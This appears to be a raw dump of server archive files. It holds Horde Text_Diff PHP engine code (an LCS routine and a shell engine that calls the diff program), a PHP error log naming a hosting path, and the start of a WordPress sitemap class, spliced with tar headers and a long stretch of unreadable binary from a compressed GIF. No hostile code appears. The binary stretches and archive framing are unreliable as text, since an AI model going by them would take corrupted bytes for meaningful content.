            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
Engine/shell.php000064400000012123151024216510007565 0ustar00<?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
14338/spinner-2x.gif.gif.tar.gz000064400000011153151024420100011660 0ustar00��yX�w��E���i�!��i���;B�&��D�!�x_x��#^��x���ĜM�1�1��M�i�ۙm���L:�6���v�nw;k�cҙ����y|�y=�����?E�R�+�P^T�Q��%+�Rʋdr�\�+���T�%�E%y�9��UqC���U�O�R�rK��E����L�WQ~�J%/����Y�/���a>��cBX\��as��<��lnP�9��0%EŒB�+���p�c�v?/�A�������k���|�_��3g�h���>�l�g�����d3��N��l�3	t���Ü_/���2=�S���u�p��Ӓ�G'gN���W�,�qJ?�1��r��/��+��Ǟu���|D-4,��t�~�"'_��5�P�T���D���x�1��f`��Q|�K]�dƎNS�⠓�تm��)A����jE�4����S#hO�A��$���"�~9�^�V�&��g%(刅�g_���:��~��r̘��s$E�&����?�PB �W�/Ooq�$��Iέ�7C|�,6��5�I8�I�?��WAg!��� ��a;om�}�`�A�1aD?���m��j�ף��SC�䟭�`��ƺ�~=�^�'��E8��������mn�i�:����mQ�{8���m��h���	-bd�l�)��Y[��B��hr�Mnh{ٟm�b�v޸x�{U�������6�
x��P�^�Āw��v=��Fٽ�
Л��cGµE>m^���w��.I�������ş�V]�K,�M�@�66�5m�����E�YB�\`�C�+ ��b�K�8=sx$
��{�~:��\v�?�P�L��̼uigĎ�U��{,��uC���q$��h��G6�"�Oȏd�{�RqY!u�y���u�W���cŰ���J��܁e�9 ���� �M��}ǜ��cR�o[]�<V���}p��(m�{C�G�ֳ���Cq&>�;���\b��̱å���,ԸU��u�O�ϒ&�
}�}���nݽ<7�c޾h�۲O��!��u����) y�PV+�Ғuc��Ć�O0F��~ڏ��?tp6gG�CY��~rϩ������8�ʸh'/:�D�;��)�C!5��:���p�S4P�Ќ�`�]	�S�*T~W	z�G`�
��t���"k~���@���(�P��<��T�ρ��5���E�0;m�x;Y�UG��w�������U7��߱�=
qM��R�^���̆F��k�P��ͣe����M��zy�.0� �Љ���ʑ��H�lo:��<>�Br�9*�z�+��5�Y�x�=��P_ѫ$7���i�k��O����"��n�m�Q��ra!��������shO3{e�w�㼘����2�k���{|�(
[핇,8���A�ź(��q�v�ܝ�c��C�v0�%�1�M���=��\v�dr~��u:)*@����׶b�Hۮ�������8 :�;[B��bkj�ⓂM{�nZ�=Ӳ�
IBB�K��U��6W�մ��D[�<�a~�H/my�������Q��\��D=
h�:B�d	�d�H52f:Rtj�i��%�F�ba<�*�]�D��u�u�����{6(��!��8����{D�0�8ݍ؍^�9�j{$�>'�����9x�-�'Pr�g]���,0CmV�&��Mi�+�s	�b��Q<V�옍�W mv�qR&l\H��{=�vWk���]LҶ�Hߵ��@��@����?=�?`�]N������ՙ5��[C�E¨[T��j\�-�+s��;)��K���rD���8f�/�mA�4��A��ԡ��{>��?[̬Z��ZfY�}o��4�ҍI^z�$�)*c䱾�<��O���~NC�zV�@qꋓ�"T�@��D�-��J��rD��&�LP��i�	����i��nm9q�Ҿ��iX����v��{�)��;��gM�A�O{�\,��⣛�K��J��ɱx��T��X�
VC%6&E!�j���Z�8��!��l?
�D���5*����lE5x+Xүx�J����6�z6V��w1�u��u��_�|�`����U���)8U":���UQ9�N�$w���$��3��)�Y�]��5�"�B+n-�y�˄dAAT�U�"+H��U�˼���w
[�轧��7N���,� ˞Ey����s���T '	�r��F��K$��@Z���N��M&�VQ���hu�8�2H��G�&Is������Ƒ8��w��<Y�e��Я�^���
/�
h���F�5b2�D]x"I
�V�t1�3���&DY����ӇH
֑�%���$AR�?,*�Xheb�˼�޶J��^C?A����[�S24��Лm{3��g2<�}*�t���@y��'�C�e�Q*^Cr�+���� Q�OR�2i�$]�'I�M?������$�N�ԩ`R��:�c��]cA��lc��̾s�o5����A�*�ߐ�]o�>��
S3_i|O���A�`��Q�&8A#/8�F$�0�\ILw"�=Rd�`Zǐ��}69�R0z.2�;�F�'u�\b"�Y�7Q`��Co�B��ҫ��^_u��kwn@�㋌�@��FH��C���&
25<�l�GƄ;,"P�2q�$�O�=�<J5��B�kl(���4��
g�۠�R�J���`�� ����"����Ӭ�LTG%J9;`ۚA��0�v'T��h��E�V�r�Id��(;t6�����f���Ŵ��}3����8�Y;�����;_ؾ
�>�:K�`ǃV�7J*��&��8BTg�#��"-�I�8��{���.BF��v�9�m�g1��i3w�����:�y��O!J�QHv�C�V��c4d�Q���H���	�^������C]H?�yɧ)�����[��Z��'Ґ6d��}��Y�Ё�"����(�$b��@�hTf��y'	Qf�ŵ�H��#y��)1r6��#��`/�Y`�ȚX��+�`��]|�w�I�61
�����g�S����Y�]d�c�@9z#aɽ��0C��6C��5f	:B�N�G�\
K��5��Fl��}E�IO��z�^��`3S���w�
`��5�L�fI�P1��DI$#İ�--�2!�/2�iK�iqɗ
���'I�������A'�v�y��v��{��z���1Υ�-D�M�7��#A���v�q��,;DГ�S��MhXK@�+I��
uq�9te�8����9R1G��W����G8ԙ/ӆ]�;�W�wnO����m/vI<�[w�C�@5Ҳ�fR�q�޵�(1Z/��@t�]��%1���5�g@�T��y����W����.p�uG�
�@�}�S�g�h���T�I�V˗s�}�a�Rx�A����nN�T�@E�9a
�5T����N�d�hbF�ШM�aE5�
��K�2����mKU��sNn�
�=S���?+�/��p���z B�C���S��S+��м�'�����b�M����
C&ј���%����K���~y�~^e̽��_��hp@�SK����t+=Dݺ��3�=v�h_���0�&MS�Z(���D!��^��Z��r	��ҩ�UȘI�hb𤾷=��J4�Wr�v�*hrp�nc�o�\�i,[SR~d�����ъ�5Y�t$o)�d���ާ�b�%�L$������.
\Z
&���k��;��<�G��ᲘS|є=��V�g�BrVw�ޱ�%���/ڄ�xb΅8��3�,?-t)).����ȡ���n��O�o�4��\�m���U����ն�Lm����j0qq�qzk�����)�H�uHؘU29�����U���As��
�X�l��wB}E� �'��O��*<��'����H1{�KH�ރg��Z���~9��"��gW�þ����'�Td��Pw�����9��#-|S��'�����m\`�A����Y�|�)�0�t%����>k�@�$�=w�F@P�IV�M.�V��c	��6D���2B�l�<W�>�7�ad/�G�G��}'�J͏}{�����g~�Tl~U���14�9j,_��x�4��->�}߁mt`�Keld�D���E�:}&q�
;�>��D�lZf�2uhW���&<e����u�>�м��Ob ��#��Л��ݴ�$���j3��
��€R�Tc�%���i���D�I����T纅�NG�7�z��{:M܎.����\� �X6X��)����g�FRъ�3��B�Bg,ج
��9�@�o��%l��׼?x�)\Nu�ܡm�n�;��j��]�m^be0\y�
X�OV��k�t�Y8�2-ͽ�ۓ|���o��R���V��H�6��C�=��Nsw�ESf-�����i�a:�o814���wx�?e�HЧ�*RLwyɰ���t؂��]�U���kװ_��r��.7���� ��7��M�t�^<�4�澑������ʕ��I��l�k�y��6�J�_{�47]
��woi��7(��.z��s�����6a�N,�A(G=������c�z2�'Z�1��+��l���a�ֽ�Iⱆ���������a~��/��f#$14338/providers.zip000064400000066133151024420100007765 0ustar00PK6ad[�&%%	error_lognu�[���[27-Oct-2025 23:43:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[27-Oct-2025 23:44:33 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[27-Oct-2025 23:49:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[30-Oct-2025 01:20:43 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[30-Oct-2025 03:33:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[30-Oct-2025 03:37:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[01-Nov-2025 13:52:32 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[01-Nov-2025 13:54:36 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[01-Nov-2025 13:55:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[02-Nov-2025 02:58:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[02-Nov-2025 02:58:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[02-Nov-2025 04:01:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[03-Nov-2025 10:20:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[03-Nov-2025 10:20:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[03-Nov-2025 10:20:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[03-Nov-2025 10:24:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[03-Nov-2025 17:13:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[03-Nov-2025 20:47:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[04-Nov-2025 01:10:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[04-Nov-2025 07:54:31 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
[04-Nov-2025 07:54:48 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[04-Nov-2025 07:55:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[04-Nov-2025 08:03:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-taxonomies.php on line 17
[04-Nov-2025 08:03:57 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-users.php on line 17
[04-Nov-2025 08:14:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Sitemaps_Provider" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sitemaps/providers/class-wp-sitemaps-posts.php on line 17
PK6ad[1$9�YYclass-wp-sitemaps-users.phpnu�[���<?php
/**
 * Sitemaps: WP_Sitemaps_Users class
 *
 * Builds the sitemaps for the 'user' object type.
 *
 * @package WordPress
 * @subpackage Sitemaps
 * @since 5.5.0
 */

/**
 * Users XML sitemap provider.
 *
 * @since 5.5.0
 */
class WP_Sitemaps_Users extends WP_Sitemaps_Provider {
	/**
	 * WP_Sitemaps_Users constructor.
	 *
	 * @since 5.5.0
	 */
	public function __construct() {
		$this->name        = 'users';
		$this->object_type = 'user';
	}

	/**
	 * Gets a URL list for a user sitemap.
	 *
	 * @since 5.5.0
	 *
	 * @param int    $page_num       Page of results.
	 * @param string $object_subtype Optional. Not applicable for Users but
	 *                               required for compatibility with the parent
	 *                               provider class. Default empty.
	 * @return array[] Array of URL information for a sitemap.
	 */
	public function get_url_list( $page_num, $object_subtype = '' ) {
		/**
		 * Filters the users URL list before it is generated.
		 *
		 * Returning a non-null value will effectively short-circuit the generation,
		 * returning that value instead.
		 *
		 * @since 5.5.0
		 *
		 * @param array[]|null $url_list The URL list. Default null.
		 * @param int        $page_num Page of results.
		 */
		$url_list = apply_filters(
			'wp_sitemaps_users_pre_url_list',
			null,
			$page_num
		);

		if ( null !== $url_list ) {
			return $url_list;
		}

		$args          = $this->get_users_query_args();
		$args['paged'] = $page_num;

		$query    = new WP_User_Query( $args );
		$users    = $query->get_results();
		$url_list = array();

		foreach ( $users as $user ) {
			$sitemap_entry = array(
				'loc' => get_author_posts_url( $user->ID ),
			);

			/**
			 * Filters the sitemap entry for an individual user.
			 *
